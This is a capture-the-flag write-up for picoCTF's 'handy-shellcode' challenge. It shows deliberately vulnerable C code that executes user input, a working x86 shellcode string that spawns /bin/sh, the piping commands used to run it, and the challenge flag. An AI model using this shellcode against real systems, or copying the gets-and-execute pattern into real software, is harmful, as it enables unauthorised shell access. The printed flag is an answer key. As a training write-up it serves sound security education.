picoCTF 2019 - handy-shellcode writeup

06 Nov, 2020

Description

This program executes any shellcode that you give it. Can you spawn a shell and use that to read the flag.txt?

Category: Binary Exploitation

Points: 50

Source Code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 148
#define FLAGSIZE 128

void vuln(char *buf){
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  char buf[BUFSIZE];

  puts("Enter your shellcode:");
  vuln(buf);

  puts("Thanks! Executing now...");

  ((void (*)())buf)();


  puts("Finishing Executing Shellcode. Exiting now...");

  return 0;
}

Explanation

The source code reads and executes a user entered string. No bounds checking or sanitation is done, meaning malicious code can be ran.

Plan

Enter shellcode as user input
Use shell to print flag

Exploit

I grabbed some handy shellcode and placed it into a small python script:

print("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")

When piping the output of the python script into the binary, it executes but no shell is spawn:

$ python /tmp/script.py | ./vuln
Enter your shellcode:
1�Ph//shh/bin��PS��

Thanks! Executing now...
$

This happens because the shell immediately closes after it is spawn. To fix this, I used the cat command to keep the shell open:

$ (python /tmp/script.py; cat -) | ./vuln
Enter your shellcode:
1�Ph//shh/bin��PS��

Thanks! Executing now...
ls
flag.txt  vuln  vuln.c
cat flag.txt
picoCTF{h4ndY_d4ndY_sh311c0d3_5843b402}

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